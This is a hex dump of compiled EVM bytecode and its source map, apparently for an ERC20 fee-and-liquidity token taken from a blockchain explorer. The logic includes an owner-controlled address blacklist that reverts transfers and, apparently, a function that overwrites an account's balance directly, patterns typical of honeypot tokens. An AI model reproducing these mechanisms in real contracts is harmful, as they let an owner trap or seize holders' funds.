6124bb576125e8565b60005b838390508110156125e65760068214612555576001600d60008686858181106124ea576124e9614795565b5b90506020020160208101906124ff9190613c80565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506125d5565b6000600d600086868581811061256e5761256d614795565b5b90506020020160208101906125839190613c80565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806125df906146bf565b90506124be565b505b505050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60175481565b6126826128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461270f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270690614361565b60405180910390fd5b80601c8190555050565b6127216128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146127ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127a590614361565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b601f60179054906101000a900460ff1681565b600080828461288d9190614496565b9050838110156128d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128c990614301565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294b906142c1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129bb906142e1565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612aa29190614381565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612b20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b1790614321565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612b90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b87906142a1565b60405180910390fd5b601f60149054906101000a900460ff1615612bb757612bb0848484612fdc565b9050612ee1565b6000612bc230611d4e565b90506000601d548210159050808015612be85750601f60149054906101000a900460ff16155b8015612c3e5750600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612c565750601f60159054906101000a900460ff165b15612c8057601f60169054906101000a900460ff1615612c7657601d5491505b612c7f826131af565b5b612c89866133a0565b15612d2457612ce084600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f4c90919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612dc75750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612ddb57612dd68787876133e3565b612ddd565b845b9050612e3181600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461287e90919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ed19190614381565b60405180910390a3600193505050505b9392505050565b6000838311158290612f30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f27919061427f565b60405180910390fd5b5060008385612f3f9190614577565b9050809150509392505050565b6000612f8e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612ee8565b905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015612fd35750600582145b90509392505050565b6000613067826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ee89092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130fc82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461287e90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161319c9190614381565b60405180910390a3600190509392505050565b6001601f60146101000a81548160ff021916908315150217905550600061320860026131fa6019546131ec601454876136b390919063ffffffff16565b61372e90919063ffffffff16565b61372e90919063ffffffff16565b9050600061321f8284612f4c90919063ffffffff16565b905061322a81613778565b6000479050600061325b61324a600260145461372e90919063ffffffff16565b601954612f4c90919063ffffffff16565b90506000613299600261328b8461327d601454886136b390919063ffffffff16565b61372e90919063ffffffff16565b61372e90919063ffffffff16565b905060006132c4836132b6601654876136b390919063ffffffff16565b61372e90919063ffffffff16565b905060006132ed826132df8588612f4c90919063ffffffff16565b612f4c90919063ffffffff16565b9050600081111561332557613324600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682613a03565b5b600082111561335b5761335a600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613a03565b5b60008311801561336b5750600087115b1561337b5761337a8784613a4e565b5b505050505050506000601f60146101000a81548160ff02191690831515021790555050565b60008173ffffffffffffffffffffffffffffffffffffffff166133c4600154613b42565b73ffffffffffffffffffffffffffffffffffffffff1614159050919050565b60008060009050600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661349357600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561349257600080fd5b5b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156135145761350d60646134ff601754866136b390919063ffffffff16565b61372e90919063ffffffff16565b9050613592565b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156135915761358e6064613580601854866136b390919063ffffffff16565b61372e90919063ffffffff16565b90505b5b6000811115613696576135ed81600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461287e90919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161368d9190614381565b60405180910390a35b6136a98184612f4c90919063ffffffff16565b9150509392505050565b6000808314156136c65760009050613728565b600082846136d4919061451d565b90508284826136e391906144ec565b14613723576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161371a90614341565b60405180910390fd5b809150505b92915050565b600061377083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613b54565b905092915050565b6000600267ffffffffffffffff811115613795576137946147c4565b5b6040519080825280602002602001820160405280156137c35781602001602082028036833780820191505090505b50905030816000815181106137db576137da614795565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561387d57600080fd5b505afa158015613891573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906138b59190613cad565b816001815181106138c9576138c8614795565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061393030601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846128e4565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016139949594939291906143cc565b600060405180830381600087803b1580156139ae57600080fd5b505af11580156139c2573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516139f792919061439c565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613a49573d6000803e3d6000fd5b505050565b613a7b30601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846128e4565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613ac7611def565b426040518863ffffffff1660e01b8152600401613ae9969594939291906141e8565b6060604051808303818588803b158015613b0257600080fd5b505af1158015613b16573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613b3b9190613f1a565b5050505050565b6000613b4d82613bb7565b9050919050565b60008083118290613b9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613b92919061427f565b60405180910390fd5b5060008385613baa91906144ec565b9050809150509392505050565b6000819050919050565b600081359050613bd0816149fa565b92915050565b600081519050613be5816149fa565b92915050565b60008083601f840112613c0157613c006147f8565b5b8235905067ffffffffffffffff811115613c1e57613c1d6147f3565b5b602083019150836020820283011115613c3a57613c396147fd565b5b9250929050565b600081359050613c5081614a11565b92915050565b600081359050613c6581614a28565b92915050565b600081519050613c7a81614a28565b92915050565b600060208284031215613c9657613c95614807565b5b6000613ca484828501613bc1565b91505092915050565b600060208284031215613cc357613cc2614807565b5b6000613cd184828501613bd6565b91505092915050565b60008060408385031215613cf157613cf0614807565b5b6000613cff85828601613bc1565b9250506020613d1085828601613bc1565b9150509250929050565b600080600060608486031215613d3357613d32614807565b5b6000613d4186828701613bc1565b9350506020613d5286828701613bc1565b9250506040613d6386828701613c56565b9150509250925092565b60008060408385031215613d8457613d83614807565b5b6000613d9285828601613bc1565b9250506020613da385828601613c56565b9150509250929050565b600080600060408486031215613dc657613dc5614807565b5b600084013567ffffffffffffffff811115613de457613de3614802565b5b613df086828701613beb565b93509350506020613e0386828701613c41565b9150509250925092565b600080600060408486031215613e2657613e25614807565b5b600084013567ffffffffffffffff811115613e4457613e43614802565b5b613e5086828701613beb565b93509350506020613e6386828701613c56565b9150509250925092565b600060208284031215613e8357613e82614807565b5b6000613e9184828501613c41565b91505092915050565b600060208284031215613eb057613eaf614807565b5b6000613ebe84828501613c56565b91505092915050565b600080600060608486031215613ee057613edf614807565b5b6000613eee86828701613c56565b9350506020613eff86828701613c56565b9250506040613f1086828701613c56565b9150509250925092565b600080600060608486031215613f3357613f32614807565b5b6000613f4186828701613c6b565b9350506020613f5286828701613c6b565b9250506040613f6386828701613c6b565b9150509250925092565b6000613f798383613f94565b60208301905092915050565b613f8e816145bd565b82525050565b613f9d816145ab565b82525050565b613fac816145ab565b82525050565b6000613fbd82614451565b613fc78185614474565b9350613fd283614441565b8060005b83811015614003578151613fea8882613f6d565b9750613ff583614467565b925050600181019050613fd6565b5085935050505092915050565b614019816145cf565b82525050565b61402881614612565b82525050565b61403781614624565b82525050565b60006140488261445c565b6140528185614485565b935061406281856020860161465a565b61406b8161480c565b840191505092915050565b6000614083602383614485565b915061408e8261481d565b604082019050919050565b60006140a6602783614485565b91506140b18261486c565b604082019050919050565b60006140c9602283614485565b91506140d4826148bb565b604082019050919050565b60006140ec601b83614485565b91506140f78261490a565b602082019050919050565b600061410f602883614485565b915061411a82614933565b604082019050919050565b6000614132602183614485565b915061413d82614982565b604082019050919050565b6000614155602083614485565b9150614160826149d1565b602082019050919050565b614174816145fb565b82525050565b61418381614605565b82525050565b600060208201905061419e6000830184613fa3565b92915050565b60006020820190506141b96000830184613f85565b92915050565b60006040820190506141d46000830185613fa3565b6141e16020830184613fa3565b9392505050565b600060c0820190506141fd6000830189613fa3565b61420a602083018861416b565b614217604083018761402e565b614224606083018661402e565b6142316080830185613fa3565b61423e60a083018461416b565b979650505050505050565b600060208201905061425e6000830184614010565b92915050565b6000602082019050614279600083018461401f565b92915050565b60006020820190508181036000830152614299818461403d565b905092915050565b600060208201905081810360008301526142ba81614076565b9050919050565b600060208201905081810360008301526142da81614099565b9050919050565b600060208201905081810360008301526142fa816140bc565b9050919050565b6000602082019050818103600083015261431a816140df565b9050919050565b6000602082019050818103600083015261433a81614102565b9050919050565b6000602082019050818103600083015261435a81614125565b9050919050565b6000602082019050818103600083015261437a81614148565b9050919050565b6000602082019050614396600083018461416b565b92915050565b60006040820190506143b1600083018561416b565b81810360208301526143c38184613fb2565b90509392505050565b600060a0820190506143e1600083018861416b565b6143ee602083018761402e565b81810360408301526144008186613fb2565b905061440f6060830185613fa3565b61441c608083018461416b565b9695505050505050565b600060208201905061443b600083018461417a565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006144a1826145fb565b91506144ac836145fb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156144e1576144e0614708565b5b828201905092915050565b60006144f7826145fb565b9150614502836145fb565b92508261451257614511614737565b5b828204905092915050565b6000614528826145fb565b9150614533836145fb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561456c5761456b614708565b5b828202905092915050565b6000614582826145fb565b915061458d836145fb565b9250828210156145a05761459f614708565b5b828203905092915050565b60006145b6826145db565b9050919050565b60006145c8826145db565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061461d82614636565b9050919050565b600061462f826145fb565b9050919050565b600061464182614648565b9050919050565b6000614653826145db565b9050919050565b60005b8381101561467857808201518184015260208101905061465d565b83811115614687576000848401525b50505050565b600060028204905060018216806146a557607f821691505b602082108114156146b9576146b8614766565b5b50919050565b60006146ca826145fb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156146fd576146fc614708565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652073656e6464657220746865207a65726f2060008201527f6164647265737300000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f45524332303a207472616e736665722073656e6464657220746865207a65726f60008201527f2061646472657373000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b614a03816145ab565b8114614a0e57600080fd5b50565b614a1a816145cf565b8114614a2557600080fd5b50565b614a31816145fb565b8114614a3c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220143b33a778f7eab5b9f83139168ffcf7b397d2c16ee13b8b239bf6710d090f6f64736f6c63430008070033
Deployed Bytecode Sourcemap
4228:15049:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9918:224;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8107:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9401:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4513:43;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4563:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5951:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8384:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14173:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11579:113;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4610:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12765:128;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12311:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8293:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12168:135;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8770:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12036:124;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4993:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4819:53;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13778:177;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6066:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5410:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13039:731;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5451:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11700:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8492:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5743:62;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5813:60;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5575:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5093:55;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5284:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4938:48;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2941:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4283:76;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8198:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9273:120;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5620:44;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10486:336;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8996:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12628:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5492:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13998:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5045:41;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11213:358;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5241:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12448:172;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5199:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5999:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5327:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4879:52;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5370:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10150:328;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6113:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5157:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15828:305;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8619:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5531:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11926:102;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3155:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6165:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9918:224;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10025:9:::1;10021:114;10044:7;;:14;;10040:1;:18;10021:114;;;10115:8;10080:20;:32;10101:7;;10109:1;10101:10;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;10080:32;;;;;;;;;;;;;;;;:43;;;;;;;;;;;;;;;;;;10060:3;;;;;:::i;:::-;;;;10021:114;;;;9918:224:::0;;;:::o;8107:83::-;8144:13;8177:5;8170:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8107:83;:::o;9401:161::-;9476:4;9493:39;9502:12;:10;:12::i;:::-;9516:7;9525:6;9493:8;:39::i;:::-;9550:4;9543:11;;9401:161;;;;:::o;4513:43::-;;;;;;;;;;;;;:::o;4563:40::-;;;;;;;;;;;;;:::o;5951:41::-;;;;;;;;;;;;;:::o;8384:100::-;8437:7;8464:12;;8457:19;;8384:100;:::o;14173:313::-;14271:4;14288:36;14298:6;14306:9;14317:6;14288:9;:36::i;:::-;;14335:121;14344:6;14352:12;:10;:12::i;:::-;14366:89;14404:6;14366:89;;;;;;;;;;;;;;;;;:11;:19;14378:6;14366:19;;;;;;;;;;;;;;;:33;14386:12;:10;:12::i;:::-;14366:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;14335:8;:121::i;:::-;14474:4;14467:11;;14173:313;;;;;:::o;11579:113::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11676:8:::1;11657:16;;:27;;;;;;;;;;;;;;;;;;11579:113:::0;:::o;4610:81::-;;;:::o;12765:128::-;12818:7;12845:40;12862:22;12872:11;12862:9;:22::i;:::-;12845:12;;:16;;:40;;;;:::i;:::-;12838:47;;12765:128;:::o;12311:129::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12421:10:::1;12393:17;;:39;;;;;;;;;;;;;;;;;;12311:129:::0;:::o;8293:83::-;8334:5;8359:9;;;;;;;;;;;8352:16;;8293:83;:::o;12168:135::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12284:10:::1;12253:20;;:42;;;;;;;;;;;;;;;;;;12168:135:::0;:::o;8770:218::-;8858:4;8875:83;8884:12;:10;:12::i;:::-;8898:7;8907:50;8946:10;8907:11;:25;8919:12;:10;:12::i;:::-;8907:25;;;;;;;;;;;;;;;:34;8933:7;8907:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;8875:8;:83::i;:::-;8976:4;8969:11;;8770:218;;;;:::o;12036:124::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12144:8:::1;12118:23;:34;;;;12036:124:::0;:::o;4993:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;4819:53::-;;;;;;;;;;;;;;;;;;;;;;:::o;13778:177::-;13854:47;13867:20;;;;;;;;;;;13888:10;13899:1;13854:12;:47::i;:::-;13850:63;;13905:7;;13850:63;13939:14;13919:9;:17;13929:6;13919:17;;;;;;;;;;;;;;;:34;;;;13778:177;;;:::o;6066:40::-;;;;;;;;;;;;;:::o;5410:34::-;;;;:::o;13039:731::-;13119:22;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13156:35:::1;13213:16;13156:74;;13279:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13261:53;;;13323:4;13330:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13261:93;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13244:110;;13396:1;13370:28;;:14;:28;;;13367:200;;;13459:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13441:74;;;13524:4;13531:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13441:114;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13424:131;;13367:200;13593:14;13579:11;;:28;;;;;;;;;;;;;;;;;;13636:16;13618:15;;:34;;;;;;;;;;;;;;;;;;13710:4;13666:19;:41;13694:11;;;;;;;;;;;13666:41;;;;;;;;;;;;;;;;:48;;;;;;;;;;;;;;;;;;13758:4;13725:8;:30;13742:11;;;;;;;;;;;13725:30;;;;;;;;;;;;;;